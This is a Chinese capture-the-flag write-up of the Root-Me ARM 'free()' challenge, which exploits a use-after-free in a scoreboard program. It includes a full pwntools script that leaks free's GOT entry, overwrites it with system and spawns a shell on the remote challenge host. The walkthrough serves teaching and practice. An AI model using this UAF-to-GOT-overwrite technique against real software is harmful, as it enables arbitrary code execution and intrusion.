作者: heeeeen

0x01 题目简介

这是Rootme.org上一道有关ARM ELF UAF的题目——The best things in life are free()。此题主要考查ARM下UAF漏洞的利用,通过UAF漏洞进行信息泄露进而改写GOT表获得执行任意代码。

0x02 题目分析

UAF漏洞

运行题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./ch47
Root-Me CTF Scoreboard v2.0
A tool to manage scoring for CTF's
Enter a Command:
add [alias]
edit [alias]
del [alias]
show [alias]
score [alias]
leader
totals
export json|csv
help
quit
:

一个简单的CTF分数管理程序,可以通过add、edit、del、show、score等命令,对队伍进行添加、编辑、删除、打印、得分。

值得注意的是,每个队伍具有别名(alias),除了根据编号(index)来对队伍进行操作外,还可以根据别名进行操作,漏洞就在程序对alias的处理上。比如add 一个team,其别名为xx,index为0, 则后续我们除了通过index 0对这个team进行操作外,还可以通过edit xx,del xx, show xx等进行操作。当我们通过index 0 del这个team以后,我们没法再次通过index edit和del了,但是我们却可以通过edit xx和del xx继续操作,这就是所谓的UAF漏洞,del以后产生的野指针我们可以继续引用它进行危险操作!

如果再次del xx, 就会对野指针再free一次,程序触发double free出错, 这证明了漏洞的存在。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$ ./ch47
Root-Me CTF Scoreboard v2.0
A tool to manage scoring for CTF's
Enter a Command:
add [alias]
edit [alias]
del [alias]
show [alias]
score [alias]
leader
totals
export json|csv
help
quit
: add xx
Team: MS509
Desc: AAAAAAAAAAAAA
Success: team added (index: 0; name: MS509; alias: xx)
Enter a Command:
add [alias]
edit [alias]
del [alias]
show [alias]
score [alias]
leader
totals
export json|csv
help
quit
: del
Index: 0
Success: deleted MS509
Enter a Command:
add [alias]
edit [alias]
del [alias]
show [alias]
score [alias]
leader
totals
export json|csv
help
quit
: del xx
Success: deleted MS509
*** Error in `./ch47': double free or corruption (fasttop): 0x01979008 ***
Aborted

控制野指针的内容

调试过程中对team的内容进行跟踪,大致还原了其数据结构如图

Team Structure

在add的时候,team的内容存储在固定60字节的堆中,其中最后四个字节为指向team description的堆上分配的指针, 而descrption的内容紧随其后存储在根据description长度动态分配的地址上。

add

在del的时候,team及description会先后free掉,因此这里有两个野指针。
对于team而言,长度固定为60字节,可以编辑index、score和name(都有限制);对于description而言,长度可控、内容可控。因此,description是作为操纵野指针的更好选择。

另外,在edit的时候,我们还有一次机会malloc新的description,只要新的description长度更长即可。

edit

这样我们free掉一个team后,如果malloc的description的长度恰好是60字节(使用edit,而非使用add,因为add会依次malloc新的team和description),则会占据原先free掉的team的位置。由于alias的存在,还可以通过show、edit等命令对free掉的team进行操作。

使用show命令,可以打印最后四字节指针指向内存(本该为description)的内容,任意地址读。
使用edit命令,可以修改最后四字节指针指向内存(本该为description)的内容,任意地址写。

而程序的GOT表部分可写,因此可以考虑通过任意地址读泄露某个libc函数地址进而获得system函数地址,然后将某一个GOT表项修改为system函数地址,最后触发system("/bin/sh")

0x03 漏洞利用

结合题目之意,修改free_got最为方便,并将函数参数布置在某个team的description中即可

具体漏洞步骤如下:

1、建立3个team, MS509(别名为xx)/MS508/MS507,前面两个description的长度要比60字节小很多,设置”/bin/sh”为MS507的description

2、del MS509, 并edit MS508的description为60字节,最后四字节为free_got。

3、通过show xx打印MS509这个team,打印出来的description前四字节内容即为free函数的地址。

4、计算system函数地址,再通过edit xx编辑MS509team,description填入system函数地址,使free_got指向system

5、del MS507触发free,实际调用system("/bin/sh")

利用代码和注释如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
menu_end = "quit\n\n: "
#context.log_level = 'debug'
def add(p, team, desc, alias=""):
p.sendline("add " + alias)
print p.recvuntil("Team: ")
p.sendline(team)
print p.recvuntil("Desc: ")
p.sendline(desc)
def show(p, index, alias=""):
p.sendline("show " + alias)
if (alias == ""):
print p.recvuntil("Index: " )
p.sendline(index)
def delete(p, index, alias=""):
p.sendline("del " + alias)
if (alias == ""):
print p.recvuntil("Index: " )
p.sendline(index)
def edit(p, index,team, desc, points, alias=""):
p.sendline("edit " + alias)
if (alias == ""):
print p.recvuntil("Index: " )
p.sendline(index)
print p.recvuntil("Team: Team: ")
p.sendline(team)
print p.recvuntil("Desc: ")
p.sendline(desc)
print p.recvuntil("Points: ")
p.sendline(points)
else:
print p.recvuntil("Team: " )
p.sendline(team)
print p.recvuntil("Desc: " )
p.sendline(desc)
print p.recvuntil("Points: " )
p.sendline(points)
def export(p):
p.sendline("export json")
def main():
#p = process("./ch47")
p = remote("challenge04.root-me.org", 61047)
print p.recvuntil(menu_end)
#1. add 3 teams
add(p,"MS509", "AAAAAAAAAAAAAAAA", "xx")
print p.recvuntil(menu_end)
add(p,"MS508", "B", "yy")
print p.recvuntil(menu_end)
#notice, the description is /bin/sh which will be free'd later since we modify element of free_got into system
add(p,"MS507", "/bin/sh", "zz")
print p.recvuntil(menu_end)
# print "[+] Waiting for debugging.."
# raw_input()
#2. del team 0 to get a dangling pointer which will be referenced by alias later
delete(p, "0")
print p.recvuntil(menu_end)
#3. edit team 1, update the description pointer of malloc in the place of team 0
got_free = int("0x23014", 16) #no PIE, it's fixed
payload = "C"*56 + p32(got_free) #must be 60bytes to be allocated in the free'd team 0, there is a '\00' in the end
edit(p, "1", "MS508", payload, "50")
print p.recvuntil(menu_end)
#4. show the deleted team 0 by alias to leak the free address, Print After Free
show(p,"unused", "xx")
print p.recvuntil("Desc: ") #Notice , there are two spaces after Desc:
addr_free_str = p.recv(4)
# log.debug("free address is %s" % addr_free_str.encode("hex"))
addr_free = u32(addr_free_str)
log.debug("free address is %s" % hex(addr_free))
print p.recvuntil(menu_end)
#5. using the leaked address to get system address
libc = ELF("./libc.remote")
#libc = ELF("./libc.so.6")
addr_system = addr_free - (libc.symbols['free'] - libc.symbols['system'])
addr_fgets = addr_free - (libc.symbols['free'] - libc.symbols['fgets'])
addr_memcpy = addr_free - (libc.symbols['free'] - libc.symbols['memcpy'])
log.debug("system address is %s" % hex(addr_system))
log.debug("fgets address is %s" % hex(addr_fgets))
#6. edit team0 to make got_free point to system addr, NOTE: let other funciton used later alone
edit(p, "not_used", "MS509", p32(addr_system)+p32(addr_fgets)+p32(addr_memcpy),"100", "xx")
print p.recvuntil(menu_end)
#7. del team2 to trigger free which actually is system("/bin/sh")
export(p)
delete(p, "2")
p.interactive()
if __name__ == "__main__":
main()

0x03 收获

  • 程序流程不清楚时,可以通过测试和调试观察重要的数据结构,比如team,来辅助分析程序流程。进而再通过IDA进行静态分析,逐步理清程序
  • 善于使用调试,在exp编写前期,用gdb动态调试验证思路,在exp运行时查找问题非常重要。
  • pwntools使用非常方便,一定要掌握好这个工具

感谢thor对此题的帮助